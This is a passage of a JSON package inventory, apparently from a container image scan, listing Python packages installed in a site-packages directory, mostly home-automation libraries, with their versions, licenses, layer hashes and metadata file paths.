"Identifier": { "PURL": "pkg:pypi/pyairvisual@2023.8.1", "UID": "28f97ce7c31fefd" }, "Version": "2023.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyairvisual-2023.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyanglianwater", "Identifier": { "PURL": "pkg:pypi/pyanglianwater@3.2.4", "UID": "283a8fb87848a5cd" }, "Version": "3.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyanglianwater-3.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaprilaire", "Identifier": { "PURL": "pkg:pypi/pyaprilaire@0.9.1", "UID": "b8f59069c9a964dc" }, "Version": "0.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaprilaire-0.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaqvify", "Identifier": { "PURL": "pkg:pypi/pyaqvify@0.0.12", "UID": "ac01aa5a913466fc" }, "Version": "0.0.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaqvify-0.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1", "Identifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "8155deb450ab3554" }, "Version": "0.6.4", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyasn1-0.6.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1_modules", "Identifier": { "PURL": "pkg:pypi/pyasn1-modules@0.4.2", "UID": "a8a5da76195002cb" }, "Version": "0.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyasn1_modules-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyatag", "Identifier": { "PURL": "pkg:pypi/pyatag@0.3.5.3", "UID": "5a0996e9bb0e74b" }, "Version": "0.3.5.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyatag-0.3.5.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyatmo", "Identifier": { "PURL": "pkg:pypi/pyatmo@9.4.0", "UID": "c8ef76e1b6d449ec" }, "Version": "9.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyatmo-9.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyatv", "Identifier": { "PURL": "pkg:pypi/pyatv@0.18.0", "UID": "38b94f9d6aff57aa" }, "Version": "0.18.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyatv-0.18.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaussiebb", "Identifier": { "PURL": "pkg:pypi/pyaussiebb@0.1.5", "UID": "fb304e7b13811aeb" }, "Version": "0.1.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaussiebb-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaxencoapi", "Identifier": { "PURL": "pkg:pypi/pyaxencoapi@1.0.7", "UID": "b25684d319891469" }, "Version": "1.0.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaxencoapi-1.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pybalboa", "Identifier": { "PURL": "pkg:pypi/pybalboa@1.1.3", "UID": "69e6849c9df7696a" }, "Version": "1.1.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pybalboa-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pybbox", "Identifier": { "PURL": "pkg:pypi/pybbox@0.0.5a0", "UID": "a44b10782b22ba3d" }, "Version": "0.0.5a0", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pybbox-0.0.5a0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyblackbird", "Identifier": { "PURL": "pkg:pypi/pyblackbird@0.6", "UID": "3096cdeb3469e968" }, "Version": "0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyblackbird-0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyblu", "Identifier": { "PURL": "pkg:pypi/pyblu@2.0.8", "UID": "cb0ab03730793f25" }, "Version": "2.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyblu-2.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pybotvac", "Identifier": { "PURL": "pkg:pypi/pybotvac@0.0.29", "UID": "668b21aac3003445" }, "Version": "0.0.29", "Licenses": [ "Licensed under the MIT license. See LICENSE file for details" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pybotvac-0.0.29.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pybravia", "Identifier": { "PURL": "pkg:pypi/pybravia@0.4.1", "UID": "ce2aea29b55b5357" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pybravia-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycares", "Identifier": { "PURL": "pkg:pypi/pycares@5.0.1", "UID": "528a8ac6a571d273" }, "Version": "5.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycares-5.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycarwings2", "Identifier": { "PURL": "pkg:pypi/pycarwings2@2.14", "UID": "8d9c211497594e0d" }, "Version": "2.14", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycarwings2-2.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycasperglow", "Identifier": { "PURL": "pkg:pypi/pycasperglow@1.2.0", "UID": "1f39dde27a1b21f0" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycasperglow-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycfdns", "Identifier": { "PURL": "pkg:pypi/pycfdns@3.0.0", "UID": "5df796b863a80371" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycfdns-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pychannels", "Identifier": { "PURL": "pkg:pypi/pychannels@1.2.3", "UID": "df63c9a104a9da40" }, "Version": "1.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pychannels-1.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycketcasts", "Identifier": { "PURL": "pkg:pypi/pycketcasts@1.0.1", "UID": "c3969f979896d79" }, "Version": "1.0.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycketcasts-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycmus", "Identifier": { "PURL": "pkg:pypi/pycmus@0.1.1", "UID": "c94bd01bac871953" }, "Version": "0.1.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycmus-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycognito", "Identifier": { "PURL": "pkg:pypi/pycognito@2024.5.1", "UID": "4e6e8e6999930203" }, "Version": "2024.5.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycognito-2024.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycomfoconnect", "Identifier": { "PURL": "pkg:pypi/pycomfoconnect@0.5.1", "UID": "3d3e71befacd0aa1" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycomfoconnect-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycoolmasternet-async", "Identifier": { "PURL": "pkg:pypi/pycoolmasternet-async@0.2.4", "UID": "1bc4552705ebd9e2" }, "Version": "0.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycoolmasternet_async-0.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycountry", "Identifier": { "PURL": "pkg:pypi/pycountry@24.6.1", "UID": "84c338142db5303d" }, "Version": "24.6.1", "Licenses": [ "LGPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycountry-24.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycparser", "Identifier": { "PURL": "pkg:pypi/pycparser@3.0", "UID": "9e582ed6a6c1368a" }, "Version": "3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycparser-3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycrc16", "Identifier": { "PURL": "pkg:pypi/pycrc16@0.1.2", "UID": "c2e5212af1a8f1bd" }, "Version": "0.1.2", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycrc16-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycryptodome", "Identifier": { "PURL": "pkg:pypi/pycryptodome@3.23.0", "UID": "ba39b4cfdfb6fbab" }, "Version": "3.23.0", "Licenses": [ "BSD-3-Clause", "Public Domain" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycryptodome-3.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycryptodomex", "Identifier": { "PURL": "pkg:pypi/pycryptodomex@3.23.0", "UID": "b2cbab78d34d10b4" }, "Version": "3.23.0", "Licenses": [ "BSD-3-Clause", "Public Domain" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycryptodomex-3.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycsspeechtts", "Identifier": { "PURL": "pkg:pypi/pycsspeechtts@1.0.8", "UID": "42b0d04f683ecd12" }, "Version": "1.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycsspeechtts-1.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycync", "Identifier": { "PURL": "pkg:pypi/pycync@0.5.0", "UID": "5e0484a0879a86fb" }, "Version": "0.5.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycync-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydaikin", "Identifier": { "PURL": "pkg:pypi/pydaikin@2.18.1", "UID": "f32c3f9bc192908e" }, "Version": "2.18.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydaikin-2.18.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydanfossair", "Identifier": { "PURL": "pkg:pypi/pydanfossair@0.1.0", "UID": "49d1f1d89db87347" }, "Version": "0.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydanfossair-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic", "Identifier": { "PURL": "pkg:pypi/pydantic@2.13.4", "UID": "45b5c0f5d395b8c6" }, "Version": "2.13.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydantic-2.13.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic-extra-types", "Identifier": { "PURL": "pkg:pypi/pydantic-extra-types@2.11.2", "UID": "1c2b03ba3c1cb15" }, "Version": "2.11.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydantic_extra_types-2.11.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic-settings", "Identifier": { "PURL": "pkg:pypi/pydantic-settings@2.14.2", "UID": "a17e61c751abd4a1" }, "Version": "2.14.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydantic_settings-2.14.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic_core", "Identifier": { "PURL": "pkg:pypi/pydantic-core@2.46.4", "UID": "8da05d11abcf7600" }, "Version": "2.46.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydantic_core-2.46.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydeako", "Identifier": { "PURL": "pkg:pypi/pydeako@0.6.0", "UID": "b64afc71106fe6c" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydeako-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydeconz", "Identifier": { "PURL": "pkg:pypi/pydeconz@120", "UID": "9d021e9bccce4f98" }, "Version": "120", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydeconz-120.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydelijn", "Identifier": { "PURL": "pkg:pypi/pydelijn@1.1.0", "UID": "a1705bef73e092e8" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydelijn-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydexcom", "Identifier": { "PURL": "pkg:pypi/pydexcom@0.5.1", "UID": "7e7fd40878a95843" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydexcom-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydiscovergy", "Identifier": { "PURL": "pkg:pypi/pydiscovergy@3.0.2", "UID": "40bb64cb7b1b906b" }, "Version": "3.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydiscovergy-3.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydoods", "Identifier": { "PURL": "pkg:pypi/pydoods@1.0.2", "UID": "314b648eb101167b" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydoods-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydrawise", "Identifier": { "PURL": "pkg:pypi/pydrawise@2026.4.0", "UID": "7ba226e02ccdf2d9" }, "Version": "2026.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydrawise-2026.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydroid-ipcam", "Identifier": { "PURL": "pkg:pypi/pydroid-ipcam@3.0.0", "UID": "29d3b4c6ebeabfc1" }, "Version": "3.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydroid_ipcam-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydroplet", "Identifier": { "PURL": "pkg:pypi/pydroplet@2.4.0", "UID": "74a92020c805b48e" }, "Version": "2.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydroplet-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydub", "Identifier": { "PURL": "pkg:pypi/pydub@0.25.1", "UID": "fb1a5160ec121bf9" }, "Version": "0.25.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pydub-0.25.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyebox", "Identifier": { "PURL": "pkg:pypi/pyebox@1.1.4", "UID": "90471194cfec2168" }, "Version": "1.1.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyebox-1.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyecoforest", "Identifier": { "PURL": "pkg:pypi/pyecoforest@0.4.0", "UID": "35083b2ec240c4fa" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyecoforest-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyeconet", "Identifier": { "PURL": "pkg:pypi/pyeconet@0.2.2", "UID": "5c68ef02e7a121a2" }, "Version": "0.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyeconet-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyedimax", "Identifier": { "PURL": "pkg:pypi/pyedimax@0.2.1", "UID": "84c691408b2b7e90" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyedimax-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyefergy", "Identifier": { "PURL": "pkg:pypi/pyefergy@22.5.0", "UID": "e5052e3b61f31296" }, "Version": "22.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyefergy-22.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyemoncms", "Identifier": { "PURL": "pkg:pypi/pyemoncms@0.1.3", "UID": "ef8f37f3fb6da301" }, "Version": "0.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyemoncms-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyenphase", "Identifier": { "PURL": "pkg:pypi/pyenphase@3.0.1", "UID": "39e3471c8d5ee2ee" }, "Version": "3.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyenphase-3.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyenvertechevt800", "Identifier": { "PURL": "pkg:pypi/pyenvertechevt800@0.2.4", "UID": "db31a24fdcdc322c" }, "Version": "0.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyenvertechevt800-0.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyenvisalink", "Identifier": { "PURL": "pkg:pypi/pyenvisalink@4.9", "UID": "21bb8a779385299b" }, "Version": "4.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyenvisalink-4.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyephember2", "Identifier": { "PURL": "pkg:pypi/pyephember2@0.4.12", "UID": "fb5a82e8431fe58c" }, "Version": "0.4.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyephember2-0.4.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyeverlights", "Identifier": { "PURL": "pkg:pypi/pyeverlights@0.1.0", "UID": "b66d3c76aaf71f27" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyeverlights-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyevilgenius", "Identifier": { "PURL": "pkg:pypi/pyevilgenius@2.0.0", "UID": "3389340477add83b" }, "Version": "2.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyevilgenius-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyezvizapi", "Identifier": { "PURL": "pkg:pypi/pyezvizapi@1.0.0.7", "UID": "95fe46337d890bd7" }, "Version": "1.0.0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyezvizapi-1.0.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfibaro", "Identifier": { "PURL": "pkg:pypi/pyfibaro@0.8.3", "UID": "a4ed33e48a3b977d" }, "Version": "0.8.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfibaro-0.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfido", "Identifier": { "PURL": "pkg:pypi/pyfido@2.1.2", "UID": "79e0c631ac7cbf99" }, "Version": "2.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfido-2.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfirefly", "Identifier": { "PURL": "pkg:pypi/pyfirefly@0.1.12", "UID": "5165617f55348816" }, "Version": "0.1.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfirefly-0.1.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfireservicerota", "Identifier": { "PURL": "pkg:pypi/pyfireservicerota@0.0.49", "UID": "c5cdcc34978e52cc" }, "Version": "0.0.49", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfireservicerota-0.0.49.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyflic", "Identifier": { "PURL": "pkg:pypi/pyflic@2.0.4", "UID": "8217c01ee33f6b25" }, "Version": "2.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyflic-2.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfnip", "Identifier": { "PURL": "pkg:pypi/pyfnip@0.2", "UID": "b767aab24fa57c0" }, "Version": "0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfnip-0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": 